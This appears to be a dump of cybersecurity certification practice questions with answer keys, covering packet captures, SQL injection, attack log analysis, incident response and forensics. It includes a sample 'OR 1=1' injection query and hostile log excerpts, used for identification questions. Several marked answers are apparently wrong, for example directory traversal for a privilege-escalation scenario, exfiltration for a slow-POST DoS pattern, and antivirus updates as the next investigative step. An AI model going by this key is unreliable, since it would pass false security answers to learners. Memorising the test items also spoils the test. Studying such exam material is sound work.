Nmap scan results on a set of IP addresses returned one or more lines beginning with "cpe:/o:" followed by a company name, product name, and version. Which of the following would this string help an administrator to identify?

A. Operating system
B. Running services
C. Installed software
D. Installed hardware

Correct Answer: A
Section: (none)
Explanation

Explanation/Reference:

QUESTION 67

Three similar production servers underwent a vulnerability scan. The scan results revealed that the three servers had two different vulnerabilities rated "Critical".

The administrator observed the following about the three servers:

▪ The servers are not accessible by the Internet
▪ AV programs indicate the servers have had malware as recently as two weeks ago
▪ The SIEM shows unusual traffic in the last 20 days
▪ Integrity validation of system files indicates unauthorized modifications

Which of the following assessments is valid and what is the most appropriate NEXT step? (Select TWO).

A. Servers may have been built inconsistently
B. Servers may be generating false positives via the SIEM
C. Servers may have been tampered with
D. Activate the incident response plan
E. Immediately rebuild servers from known good configurations
F. Schedule recurring vulnerability scans on the servers

Correct Answer: DE
Section: (none)
Explanation

Explanation/Reference:

QUESTION 68
When reviewing network traffic, a security analyst detects suspicious activity:

```
110 172.150.200.129 TCP      1140 > 443 [SYN] Seq=0 Win=15901 Len=0 MSS=1460 SACK_PERM=1
111 172.150.200.129 TCP      1140 > 443 [ACK] Seq=1 ACK=1 Win=15091 Len=0
112 172.150.200.129 SSLv2    Client Hello
113 172.150.200.129 TCP      [TCP Dup ACK 112#1] 1140 > 443 [ACK] Seq=81 ACK=1 Win=15091
114 172.150.200.129 SSLv2    [TCP Retransmission] Client Hello
115 172.150.200.129 TCP      [TCP Dup ACK 114#1] 1140 > 443 [ACK] Seq=81 ACK=1 Win=15091
120 172.150.200.129 TCP      [TCP Dup ACK 114#2] 1140 > 443 [ACK] Seq=81 ACK=1 Win=15091
122 172.150.200.129 SSLv2    [TCP Retransmission] Client Hello
```

Based on the log above, which of the following vulnerability attacks is occurring?

A. ShellShock

B. DROWN

C. Zeus

D. Heartbleed

E. POODLE

Correct Answer: E
Section: (none)
Explanation

Explanation/Reference:

QUESTION 69
An analyst was testing the latest version of an internally developed CRM system. The analyst created a basic user account. Using a few tools in Kali's latest distribution, the analyst was able to access configuration files, change permissions on folders and groups, and delete and create new system objects. Which of the following techniques did the analyst use to perform these unauthorized activities?

A. Impersonation

B. Privilege escalation

C. Directory traversal

D. Input injection

Correct Answer: C
Section: (none)
Explanation

Explanation/Reference:

QUESTION 70
Following a data compromise, a cybersecurity analyst noticed the following executed query:

`SELECT * from Users WHERE name = rick OR 1=1`

Which of the following attacks occurred, and which of the following technical security controls would BEST reduce the risk of future impact from this attack? (Select TWO).

A. Cookie encryption

B. XSS attack

C. Parameter validation

D. Character blacklist

E. Malicious code execution

F. SQL injection

Correct Answer: CF
Section: (none)
Explanation

Explanation/Reference:
Reference https://lwn.net/Articles/177037/

QUESTION 71
A security analyst is conducting traffic analysis and observes an HTTP POST to a web server. The POST header is approximately 1000 bytes in length. During transmission, one byte is delivered every ten seconds. Which of the following attacks is the traffic indicative of?

A. Exfiltration

B. DoS

C. Buffer overflow

D. SQL injection

Correct Answer: A
Section: (none)
Explanation

Explanation/Reference:

QUESTION 72
While reviewing proxy logs, the security analyst noticed a suspicious traffic pattern. Several internal hosts were observed communicating with an external IP address over port 80 constantly. An incident was declared, and an investigation was launched. After interviewing the affected users, the analyst determined the activity started right after deploying a new graphic design suite. Based on this information, which of the following actions would be the appropriate NEXT step in the investigation?

A. Update all antivirus and anti-malware products, as well as all other host-based security software on the servers the affected users authenticate to.

B. Perform a network scan and identify rogue devices that may be generating the observed traffic. Remove those devices from the network.

C. Identify what the destination IP address is and who owns it, and look at running processes on the affected hosts to determine if the activity is malicious or not.

D. Ask desktop support personnel to reimage all affected workstations and reinstall the graphic design suite. Run a virus scan to identify if any viruses are present.

Correct Answer: A
Section: (none)
Explanation

Explanation/Reference:

QUESTION 73
Following a recent security breach, a post-mortem was done to analyze the driving factors behind the breach. The cybersecurity analysis discussed potential impacts, mitigations, and remediations based on current events and emerging threat vectors tailored to specific stakeholders. Which of the following is this considered to be?

A. Threat intelligence
B. Threat information
C. Threat data
D. Advanced persistent threats

Correct Answer: A
Section: (none)
Explanation

Explanation/Reference:

QUESTION 74
During a web application vulnerability scan, it was discovered that the application would display inappropriate data after certain key phrases were entered into a webform connected to a SQL database server. Which of the following should be used to reduce the likelihood of this type of attack returning sensitive data?

A. Static code analysis
B. Peer review code
C. Input validation
D. Application fuzzing

Correct Answer: C
Section: (none)
Explanation

Explanation/Reference:

QUESTION 75
A security analyst has noticed an alert from the SIEM. A workstation is repeatedly trying to connect to port 445 of a file server on the production network. All of the attempts are made with invalid credentials. Which of the following describes what is occurring?

A. Malware has infected the workstation and is beaconing out to the specific IP address of the file server.
B. The file server is attempting to transfer malware to the workstation via SMB.
C. An attacker has gained control of the workstation and is attempting to pivot to the file server by creating an SMB session.
D. An attacker has gained control of the workstation and is port scanning the network.

Correct Answer: C
Section: (none)
Explanation

Explanation/Reference:

QUESTION 76
A company invested ten percent of its entire annual budget in security technologies. The Chief Information Officer (CIO) is convinced that, without this investment, the company will risk being the next victim of the same cyber attack its competitor experienced three months ago. However, despite this investment, users are sharing their usernames and passwords with their coworkers to get their jobs done. Which of the following will eliminate the risk introduced by this practice?

A. Invest in and implement a solution to ensure non-repudiation
B. Force a daily password change
C. Send an email asking users not to share their credentials
D. Run a report on all users sharing their credentials and alert their managers of further actions

Correct Answer: C
Section: (none)
Explanation

Explanation/Reference:

QUESTION 77
A SIEM analyst noticed a spike in activities from the guest wireless network to several electronic health record (EHR) systems. After further analysis, the analyst discovered that a large volume of data has been uploaded to a cloud provider in the last six months. Which of the following actions should the analyst do FIRST?

A. Contact the Office of Civil Rights (OCR) to report the breach

B. Notify the Chief Privacy Officer (CPO)

C. Activate the incident response plan

D. Put an ACL on the gateway router

Correct Answer: D
Section: (none)
Explanation

Explanation/Reference:

QUESTION 78
Given the following access log:

```
access_log: 10.1.1.3 - -[66.66.132.6 -100] "Get
/js/query-ui/js/?a.aspectRatio:this.originalSize.height%7c%7c1%3ba=e(HTTP/1.1" 403 22

access_log: 10.1.1.3 - -[66.66.132.6 -100] "Get /js/query-ui/js/?a.aspectRatio:this.originalSize.height | |
1;a=e( HTTP/1.1" 303 333

access_log: 10.1.1.3 - -[66.66.132.6 -100] "Get /scripts/query-ui/js/J);F.optgroup=F .option;F .tbody=F
.tfoot=F .colorgroup=F .caption=F .thread;F .th=F .td;if (!c.support.htmlSerialize)F._default=(1, HTTP/1.1"
403 338
```

Which of the following accurately describes what this log displays?

A. A vulnerability in jQuery

B. Application integration with an externally hosted database

C. A vulnerability scan performed from the Internet

D. A vulnerability in Javascript

Correct Answer: C
Section: (none)
Explanation

Explanation/Reference:

QUESTION 79
A company has been a victim of multiple volumetric DoS attacks. Packet analysis of the offending traffic shows the following:

```
09:23:45.058939 IP 192.168.1.1:2562 > 170.43.30.4:0 Flags[], seq 1887775210:1887776670, win 512, length 1460
09:23:45.058940 IP 192.168.1.1:2563 > 170.43.30.4:0 Flags[], seq 1887775211:1887776671, win 512, length 1460
09:23:45.058941 IP 192.168.1.1:2564 > 170.43.30.4:0 Flags[], seq 1887775212:1887776672, win 512, length 1460
09:23:45.058942 IP 192.168.1.1:2565 > 170.43.30.4:0 Flags[], seq 1887775213:1887776673, win 512, length 1460
```

Which of the following mitigation techniques is MOST effective against the above attack?

A. The company should contact the upstream ISP and ask that RFC1918 traffic be dropped.
B. The company should implement a network-based sinkhole to drop all traffic coming from 192.168.1.1 at their gateway router.
C. The company should implement the following ACL at their gateway firewall:
   DENY IP HOST 192.168.1.1 170.43.30.0/24.
D. The company should enable the DoS resource starvation protection feature of the gateway NIPS.

Correct Answer: A
Section: (none)
Explanation

Explanation/Reference:

QUESTION 80
An ATM in a building lobby has been compromised. A security technician has been advised that the ATM must be forensically analyzed by multiple technicians. Which of the following items in a forensic tool kit would likely be used FIRST? (Select TWO).

A. Drive adapters
B. Chain of custody form
C. Write blockers
D. Crime tape
E. Hashing utilities
F. Drive imager

Correct Answer: BC
Section: (none)

Explanation

QUESTION 81
A business-critical application is unable to support the requirements in the current password policy because it does not allow the use of special characters. Management does not want to accept the risk of a possible security incident due to weak password standards. Which of the following is an appropriate means to limit the risks related to the application?

A. A compensating control
B. Altering the password policy
C. Creating new account management procedures
D. Encrypting authentication traffic

Correct Answer: D
Section: (none)
Explanation

QUESTION 82
A threat intelligence analyst who works for a financial services firm received this report:

"There has been an effective waterhole campaign residing at www.bankfinancecompsoftware.com. This domain is delivering ransomware. This ransomware variant has been called "LockMaster" by researchers due to its ability to overwrite the MBR, but this term is not a malware signature. Please execute a defensive operation regarding this attack vector."

The analyst ran a query and has assessed that this traffic has been seen on the network. Which of the following actions should the analyst do NEXT? (Select TWO).

A. Advise the firewall engineer to implement a block on the domain
B. Visit the domain and begin a threat assessment
C. Produce a threat intelligence message to be disseminated to the company
D. Advise the security architects to enable full-disk encryption to protect the MBR
E. Advise the security analysts to add an alert in the SIEM on the string "LockMaster"
F. Format the MBR as a precaution

Correct Answer: BD
Section: (none)
Explanation

Explanation/Reference: